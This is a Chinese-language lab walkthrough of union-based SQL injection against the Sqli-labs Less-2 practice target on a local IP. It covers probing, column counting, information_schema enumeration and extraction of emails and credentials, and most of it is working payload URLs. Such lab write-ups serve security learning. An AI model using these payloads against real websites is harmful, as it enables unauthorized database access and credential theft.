SQL注入
SQL注入
简单Sqli-labs/Less-2演示
信息收集
我们使用ubantu搭建Sqli-labs靶场
安装:参考博客https://blog.csdn.net/han123456o/article/details/107822333
确定注入源:
在传入的值后面加上异常值查看对页面的影响
逻辑值
and 1 = 1 页面正常
and 1 = 2 页面异常
则可能存在注入点
发现这里爆出异常,且能继续,可以确定这个param:id 是合适的注入源
备注:在上面的代码中可以用$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";`直接传递的变量$id带入sql语句中执行没有做任何的限制,这样为恶意代码插入执行创造了条件。通过修改带入的代码执行的语句最终达到SQL注入获取敏感信息
确定数据库中字段数
order by
通过order by 判断注入的字段数
使用:http://192.168.222.131/Less-2/?id=1 order by 3
访问:http://192.168.222.131/Less-2/?id=1 order by 4 爆出异常,可以确定这个数据库查询的字段数为 3
使用union关键字
http://192.168.222.131/Less-2/?id=-1 union select 1,2,3
这里的-1是传一个非 ,使其回显出结果的位置
同理: http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,2,3
在数据库中:
mysql> select * from users where id =1 union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | Dumb | Dumb |
| 1 | 2 | 3 |
+----+----------+----------+
2 rows in set (0.00 sec)
收集信息
数据库版本: version() 5.5.44-0ubuntu0.14.04.1
数据库名字: database() security
数据库用户: user() root@localhost
操作系统: @@version_compile_os debian-linux-gnu
如:http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,version(),database()
http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,user(),@@version_compile_os
在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。
- 获取相关信息
information_schema.tables #information_schema下面的所有表名
information_schema.columns #information_schema下面所有的列名
table_name #表名
column_name #列名
table_schema #数据库名
http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='security'
查询所有表名:在table_name上使用group_concat
http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’
查询指定表名users下的列名信息:
http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name ='users'
users表下有id,username,password
同样得到表emails下有email_id字段
查询指定信息
http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,email_id,3 from emails
查询到用户Dumb的邮箱为 Dumb@dhakkan.com
查询所有用户和密码
http://192.168.222.131/Less-2/?id=1 and 1=2 union select 1,group_concat(username),group_concat(username) from users